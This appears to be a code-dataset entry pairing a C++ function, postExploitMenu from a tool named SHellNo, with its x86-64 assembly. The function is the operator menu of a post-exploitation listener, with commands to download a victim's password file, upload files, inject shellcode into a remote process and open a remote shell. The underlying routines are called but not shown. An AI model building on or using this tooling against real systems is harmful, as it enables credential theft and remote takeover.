// File: JohnWoodman[P]SHellNo/menus.cpp
// Function: postExploitMenu(listener*)
void postExploitMenu(listener *newL) {
	printf("<---This is the Post Exploit Menu--->\n");

	string cmd;
	while(true){
		cout<<"ShellNo:Listener->";
		getline(cin,cmd);
		if(!cmd.compare("download")){
			printf("You Selected Download\n");
			newL->downloadFile("C:\\Users\\john\\Desktop\\password.txt", "pwd_download.txt");
		}
		if (!cmd.compare("upload")){
			printf("You Selected Upload\n");
			newL->uploadFile("upload.txt", "C:\\\\test\\\\upload.txt");
		}
		if(!cmd.compare("inject-shellcode")){
			printf("You Selected Shell\n");
			newL->injectShellcode("shellcode.bin");
		}
		if(!cmd.compare("shell")){
			printf("You selected drop into shell\n");
			newL->dropIntoShell();
		}
		if(!cmd.compare("exit")){
			printf("Exiting!\n");
			break;
		}
		if(!cmd.compare("help")) {
			printf("HELP MENU\n");
			printf("download <remote file> <local file>: download remote file to local file\n");
			printf("upload <local file> <remote file>: upload local file to remote location\n");
			printf("inject-shellcode <shellcode.bin>: inject given shellcode into remote process\n");
			printf("exit: exit listener menu (does not kill session)\n");
		}
	}
}

// Assembly:
pushq %rbp
movq %rsp, %rbp
subq $0x140, %rsp            # imm = 0x140
movq %rdi, -0x8(%rbp)
leaq 0x3763(%rip), %rdi      # 0x353e9
movb $0x0, %al
callq 0x6090
leaq -0x28(%rbp), %rdi
callq 0x6690
jmp 0x31c98
movq 0x1b309(%rip), %rdi     # 0x4cfa8
leaq 0x376a(%rip), %rsi      # 0x35410
callq 0x64a0
jmp 0x31cad
movq 0x1b32c(%rip), %rdi     # 0x4cfe0
leaq -0x28(%rbp), %rsi
callq 0x60e0
jmp 0x31cbf
leaq -0x28(%rbp), %rdi
leaq 0x3759(%rip), %rsi      # 0x35423
callq 0x6160
cmpl $0x0, %eax
jne 0x31dec
leaq 0x374d(%rip), %rdi      # 0x3542c
xorl %eax, %eax
callq 0x6090
jmp 0x31ce8
movq -0x8(%rbp), %rax
movq %rax, -0x110(%rbp)
leaq -0x59(%rbp), %rdi
movq %rdi, -0x108(%rbp)
callq 0x6860
movq -0x108(%rbp), %rdx
leaq 0x3732(%rip), %rsi      # 0x35443
leaq -0x58(%rbp), %rdi
callq 0x317a0
jmp 0x31d1c
leaq -0x81(%rbp), %rdi
movq %rdi, -0x118(%rbp)
callq 0x6860
movq -0x118(%rbp), %rdx
leaq 0x3729(%rip), %rsi      # 0x35466
leaq -0x80(%rbp), %rdi
callq 0x317a0
jmp 0x31d48
movq -0x110(%rbp), %rdi
leaq -0x58(%rbp), %rsi
leaq -0x80(%rbp), %rdx
callq 0x30800
jmp 0x31d5e
leaq -0x80(%rbp), %rdi
callq 0x6330
leaq -0x81(%rbp), %rdi
callq 0x6520
leaq -0x58(%rbp), %rdi
callq 0x6330
leaq -0x59(%rbp), %rdi
callq 0x6520
jmp 0x31dec
movq %rax, %rcx
movl %edx, %eax
movq %rcx, -0x30(%rbp)
movl %eax, -0x34(%rbp)
jmp 0x320c9
movq %rax, %rcx
movl %edx, %eax
movq %rcx, -0x30(%rbp)
movl %eax, -0x34(%rbp)
jmp 0x31dde
movq %rax, %rcx
movl %edx, %eax
movq %rcx, -0x30(%rbp)
movl %eax, -0x34(%rbp)
jmp 0x31dc9
movq %rax, %rcx
movl %edx, %eax
movq %rcx, -0x30(%rbp)
movl %eax, -0x34(%rbp)
leaq -0x80(%rbp), %rdi
callq 0x6330
leaq -0x81(%rbp), %rdi
callq 0x6520
leaq -0x58(%rbp), %rdi
callq 0x6330
leaq -0x59(%rbp), %rdi
callq 0x6520
jmp 0x320c9
leaq -0x28(%rbp), %rdi
leaq 0x3680(%rip), %rsi      # 0x35477
callq 0x6160
cmpl $0x0, %eax
jne 0x31f29
leaq 0x3672(%rip), %rdi      # 0x3547e
xorl %eax, %eax
callq 0x6090
jmp 0x31e15
movq -0x8(%rbp), %rax
movq %rax, -0x128(%rbp)
leaq -0xa9(%rbp), %rdi
movq %rdi, -0x120(%rbp)
callq 0x6860
movq -0x120(%rbp), %rdx
leaq 0x365c(%rip), %rsi      # 0x3549d
leaq -0xa8(%rbp), %rdi
callq 0x317a0
jmp 0x31e4f
leaq -0xd1(%rbp), %rdi
movq %rdi, -0x130(%rbp)
callq 0x6860
movq -0x130(%rbp), %rdx
leaq 0x3623(%rip), %rsi      # 0x35493
leaq -0xd0(%rbp), %rdi
callq 0x317a0
jmp 0x31e7e
movq -0x128(%rbp), %rdi
leaq -0xa8(%rbp), %rsi
leaq -0xd0(%rbp), %rdx
callq 0x30b40
jmp 0x31e9a
leaq -0xd0(%rbp), %rdi
callq 0x6330
leaq -0xd1(%rbp), %rdi
callq 0x6520
leaq -0xa8(%rbp), %rdi
callq 0x6330
leaq -0xa9(%rbp), %rdi
callq 0x6520
jmp 0x31f29
movq %rax, %rcx
movl %edx, %eax
movq %rcx, -0x30(%rbp)
movl %eax, -0x34(%rbp)
jmp 0x31f18
movq %rax, %rcx
movl %edx, %eax
movq %rcx, -0x30(%rbp)
movl %eax, -0x34(%rbp)
jmp 0x31f00
movq %rax, %rcx
movl %edx, %eax
movq %rcx, -0x30(%rbp)
movl %eax, -0x34(%rbp)
leaq -0xd0(%rbp), %rdi
callq 0x6330
leaq -0xd1(%rbp), %rdi
callq 0x6520
leaq -0xa8(%rbp), %rdi
callq 0x6330
leaq -0xa9(%rbp), %rdi
callq 0x6520
jmp 0x320c9
leaq -0x28(%rbp), %rdi
leaq 0x3574(%rip), %rsi      # 0x354a8
callq 0x6160
cmpl $0x0, %eax
jne 0x31ff2
leaq 0x3570(%rip), %rdi      # 0x354b9
xorl %eax, %eax
callq 0x6090
jmp 0x31f52
movq -0x8(%rbp), %rax
movq %rax, -0x140(%rbp)
leaq -0xf9(%rbp), %rdi
movq %rdi, -0x138(%rbp)
callq 0x6860
movq -0x138(%rbp), %rdx
leaq 0x354f(%rip), %rsi      # 0x354cd
leaq -0xf8(%rbp), %rdi
callq 0x317a0
jmp 0x31f8c
movq -0x140(%rbp), %rdi
leaq -0xf8(%rbp), %rsi
callq 0x30e60
jmp 0x31fa1
leaq -0xf8(%rbp), %rdi
callq 0x6330
leaq -0xf9(%rbp), %rdi
callq 0x6520
jmp 0x31ff2
movq %rax, %rcx
movl %edx, %eax
movq %rcx, -0x30(%rbp)
movl %eax, -0x34(%rbp)
jmp 0x31fe1
movq %rax, %rcx
movl %edx, %eax
movq %rcx, -0x30(%rbp)
movl %eax, -0x34(%rbp)
leaq -0xf8(%rbp), %rdi
callq 0x6330
leaq -0xf9(%rbp), %rdi
callq 0x6520
jmp 0x320c9
leaq -0x28(%rbp), %rdi
leaq 0x34de(%rip), %rsi      # 0x354db
callq 0x6160
cmpl $0x0, %eax
jne 0x32024
leaq 0x34d3(%rip), %rdi      # 0x354e1
xorl %eax, %eax
callq 0x6090
jmp 0x32017
movq -0x8(%rbp), %rdi
callq 0x311f0
jmp 0x32022
jmp 0x32024
leaq -0x28(%rbp), %rdi
leaq 0x21e1(%rip), %rsi      # 0x34210
callq 0x6160
cmpl $0x0, %eax
jne 0x3204b
leaq 0x34bf(%rip), %rdi      # 0x354ff
xorl %eax, %eax
callq 0x6090
jmp 0x32049
jmp 0x320b7
leaq -0x28(%rbp), %rdi
leaq 0x21bf(%rip), %rsi      # 0x34215
callq 0x6160
cmpl $0x0, %eax
jne 0x320b2
leaq 0x21b3(%rip), %rdi      # 0x3421a
xorl %eax, %eax
callq 0x6090
jmp 0x32070
leaq 0x3492(%rip), %rdi      # 0x35509
xorl %eax, %eax
callq 0x6090
jmp 0x32080
leaq 0x34cb(%rip), %rdi      # 0x35552
xorl %eax, %eax
callq 0x6090
jmp 0x32090
leaq 0x3504(%rip), %rdi      # 0x3559b
xorl %eax, %eax
callq 0x6090
jmp 0x320a0
leaq 0x3542(%rip), %rdi      # 0x355e9
xorl %eax, %eax
callq 0x6090
jmp 0x320b0
jmp 0x320b2
jmp 0x31c96
leaq -0x28(%rbp), %rdi
callq 0x6330
addq $0x140, %rsp            # imm = 0x140
popq %rbp
retq
leaq -0x28(%rbp), %rdi
callq 0x6330
movq -0x30(%rbp), %rdi
callq 0x6850
nop
nopl (%rax)